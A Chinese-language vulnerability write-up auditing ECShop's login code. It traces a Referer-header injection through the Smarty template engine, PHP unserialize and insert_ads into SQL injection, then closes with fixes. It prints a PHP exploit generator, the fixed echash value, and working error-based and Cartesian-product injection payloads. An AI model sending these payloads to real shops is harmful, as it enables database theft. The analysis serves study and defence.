准备工作 ECshop简介 ECShop是一款专业的电商商城系统, 跨平台开源程序
ECShop可以快速构建PC+微商城+APP+小程序等多终端商城,并支持二次开发定制化商城
环境搭建 下载ECshop源码后解压到本地phpstudy目录下
访问localhost,进行相关配置完成安装过程
安装完成后即可在本地访问
漏洞分析 代码审计 我们首先关注user.php中login部分的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 elseif ($action == 'login' ) { if (empty ($back_act )) { if (empty ($back_act ) && isset ($GLOBALS ['_SERVER' ]['HTTP_REFERER' ])) { $back_act = strpos($GLOBALS ['_SERVER' ]['HTTP_REFERER' ], 'user.php' ) ? './index.php' : $GLOBALS ['_SERVER' ]['HTTP_REFERER' ]; } else { $back_act = 'user.php' ; } } $captcha = intval($_CFG ['captcha' ]); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION ['login_fail' ] > 2 )) && gd_version() > 0 ) { $GLOBALS ['smarty' ]->assign('enabled_captcha' , 1 ); $GLOBALS ['smarty' ]->assign('rand' , mt_rand()); } $smarty ->assign('back_act' , $back_act ); $smarty ->display('user_passport.dwt' ); }
注意到此处的$back_act
参数是通过$GLOBALS['_SERVER']['HTTP_REFERER']
获取的
Smarty是一个php的模板引擎,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。
那么此处我们就可以通过修改http referer头的方式来控制$back_act
参数,从而控制assign()函数的参数
接下来我们跟进这个模板变量到/includes/cls_template.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function assign ($tpl_var , $value = '' ) { if (is_array($tpl_var )) { foreach ($tpl_var AS $key => $val ) { if ($key != '' ) { $this ->_var[$key ] = $val ; } } } else { if ($tpl_var != '' ) { $this ->_var[$tpl_var ] = $value ; } } }
因为$back_act
不是数组,所以进入else分支,被赋给$this->_var[$back_act]
继续查看display()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function display ($filename , $cache_id = '' ) { $this ->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this ->_checkfile = false ; $out = $this ->fetch($filename , $cache_id ); if (strpos($out , $this ->_echash) !== false ) { $k = explode($this ->_echash, $out ); foreach ($k AS $key => $val ) { if (($key % 2 ) == 1 ) { $k [$key ] = $this ->insert_mod($val ); } } $out = implode('' , $k ); } error_reporting($this ->_errorlevel); $this ->_seterror--; echo $out ; }
此处调用display()函数时,传入的$filename
参数值为'user_passport.dwt'
,会使用fetch方法来处理该模板文件
跟进fetch方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 function fetch ($filename , $cache_id = '' ) { if (!$this ->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this ->_seterror++; if (strncmp($filename ,'str:' , 4 ) == 0 ) { $out = $this ->_eval($this ->fetch_str(substr($filename , 4 ))); } else { if ($this ->_checkfile) { if (!file_exists($filename )) { $filename = $this ->template_dir . '/' . $filename ; } } else { $filename = $this ->template_dir . '/' . $filename ; } if ($this ->direct_output) { $this ->_current_file = $filename ; $out = $this ->_eval($this ->fetch_str(file_get_contents($filename ))); } else { if ($cache_id && $this ->caching) { $out = $this ->template_out; } else { if (!in_array($filename , $this ->template)) { $this ->template[] = $filename ; } $out = $this ->make_compiled($filename ); if ($cache_id ) { $cachename = basename($filename , strrchr($filename , '.' )) . '_' . $cache_id ; $data = serialize(array ('template' => $this ->template, 'expires' => $this ->_nowtime + $this ->cache_lifetime, 'maketime' => $this ->_nowtime)); $out = str_replace("\r" , '' , $out ); while (strpos($out , "\n\n" ) !== false ) { $out = str_replace("\n\n" , "\n" , $out ); } $hash_dir = $this ->cache_dir . '/' . substr(md5($cachename ), 0 , 1 ); if (!is_dir($hash_dir )) { mkdir($hash_dir ); } if (file_put_contents($hash_dir . '/' . $cachename . '.php' , '<?php exit;?>' . $data . $out , LOCK_EX) === false ) { trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php' ); } $this ->template = array (); } } } } $this ->_seterror--; if (!$this ->_seterror) { error_reporting($this ->_errorlevel); } return $out ; }
发现make_complied方法,继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 function make_compiled ($filename ) { $name = $this ->compile_dir . '/' . basename($filename ) . '.php' ; if ($this ->_expires) { $expires = $this ->_expires - $this ->cache_lifetime; } else { $filestat = @stat($name ); $expires = $filestat ['mtime' ]; } $filestat = @stat($filename ); if ($filestat ['mtime' ] <= $expires && !$this ->force_compile) { if (file_exists($name )) { $source = $this ->_require($name ); if ($source == '' ) { $expires = 0 ; } } else { $source = '' ; $expires = 0 ; } } if ($this ->force_compile || $filestat ['mtime' ] > $expires ) { $this ->_current_file = $filename ; $source = $this ->fetch_str(file_get_contents($filename )); if (file_put_contents($name , $source , LOCK_EX) === false ) { trigger_error('can\'t write:' . $name ); } $source = $this ->_eval($source ); } return $source ; }
make_complied方法会将模板中的变量解析,然后返回到display()函数中。
我们继续跟进user_passport.dwt,查找$back_act
1 2 3 4 5 <td align ="left" > <input type ="hidden" name ="act" value ="act_login" /> <input type ="hidden" name ="back_act" value ="{$back_act}" /> <input type ="submit" name ="submit" value ="" class ="us_Submit" /> </td >
也就是说fetch函数最终会返回一个解析过后的变量
我们继续关注display()函数中的如下代码
1 2 3 4 5 6 7 8 9 10 11 12 if (strpos($out , $this ->_echash) !== false ) { $k = explode($this ->_echash, $out ); foreach ($k AS $key => $val ) { if (($key % 2 ) == 1 ) { $k [$key ] = $this ->insert_mod($val ); } } $out = implode('' , $k ); }
此处判断解析后的内容中是否含有_echash
,如果存在则分割内容,并用insert_mod处理
而此处的echash是一个定值,所以我们可以控制insert_mod的参数
继续跟进insert_mod
1 2 3 4 5 6 7 8 function insert_mod ($name ) // 处理动态内容 { list ($fun , $para ) = explode('|' , $name ); $para = unserialize($para ); $fun = 'insert_' . $fun ; return $fun ($para ); }
$val
传递进来,先用 | 分割,得到 $fun
和 $para
,$para
进行反序列操作,$fun
和 insert_
拼接,最后动态调用 $fun($para)
,函数名部分可控,参数完全可控。接下来就是寻找以 insert_
开头的可利用的函数了,在 /includes/lib_insert.php 有一个 insert_ads() 函数,正好满足要求。
跟进insert_ads() 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function insert_ads ($arr ) { static $static_res = NULL ; $time = gmtime(); if (!empty ($arr ['num' ]) && $arr ['num' ] != 1 ) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS ['ecs' ]->table('ad' ) . ' AS a ' . 'LEFT JOIN ' . $GLOBALS ['ecs' ]->table('ad_position' ) . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " . "AND a.position_id = '" . $arr ['id' ] . "' " . 'ORDER BY rnd LIMIT ' . $arr ['num' ]; $res = $GLOBALS ['db' ]->GetAll($sql ); } else { if ($static_res [$arr ['id' ]] === NULL ) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS ['ecs' ]->table('ad' ) . ' AS a ' . 'LEFT JOIN ' . $GLOBALS ['ecs' ]->table('ad_position' ) . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND a.position_id = '" . $arr ['id' ] . "' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " . 'ORDER BY rnd LIMIT 1' ; $static_res [$arr ['id' ]] = $GLOBALS ['db' ]->GetAll($sql ); } $res = $static_res [$arr ['id' ]]; } $ads = array (); $position_style = '' ;
此处可以看到SQL语句,又结合之前的分析,参数可控,故而可以进行SQL注入攻击
最后得到payload模板
1 _echash+fun|serialize(array ("num" =>1 ,"id" =>payload))
写出对应的漏洞利用脚本(exp)
1 2 3 4 5 6 7 8 9 <?php $s ="Referer:554fcae493e564ee0dc75bdf2ebf94caads|" ;$exparray =array ( "num" =>1 , "id" =>payload );$payload =$s .serialize($exparray );echo $payload ;?>
攻击载荷测试 该注入实质上是一个Http请求头注入,得到payload后替换请求头中的Referer参数进行注入
下面我们尝试来构造几个payload
报错注入
1 Referer:554 fcae493e564ee0dc75bdf2ebf94caads|a:2 :{s:3 :"num" ;i:1 ;s:2 :"id" ;s:58 :"1' and updatexml(1,make_set(3,'~',(select database())),1)#" ;}
报错注入+笛卡尔积注入
1 Referer:554 fcae493e564ee0dc75bdf2ebf94caads|a:2 :{s:3 :"num" ;i:1 ;s:2 :"id" ;s:149 :"1' and updatexml(1,make_set(3,'~',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)),1)#" ;}
在sleep函数不可用时,可以使用查询笛卡尔积的方式来一次进行大量查询,这样就会因为大量查询导致返回报文延迟,达到与时间盲注类似的效果
(使用笛卡尔积注入的攻击载荷后响应明显变慢,笔者等了半天都没等到返回包)
防御方法 漏洞梳理 首先,referer值未加判断直接引用,可被攻击者控制输入
其次,用_echash = “554fcae493e564ee0dc75bdf2ebf94ca” 为定值进行切分,构造payload
然后,利用反序列化漏洞,构造payload,传输恶意代码
最后,insert_ads函数的SQL拼接不规范导致存在SQL注入
修复方法 除了常规的预编译、对用户输入进行过滤以外,此处其实还有一个更简便的修复方法
攻击者能够成功进行攻击需要echash,而这个值是定值,导致攻击者能够直接从网络上对应版本的源码中得到该值,故而可以通过修改文件中echash的值来达到防御攻击的目的
该修复方法经笔者测试有效(😅上次AWD就是这么修的)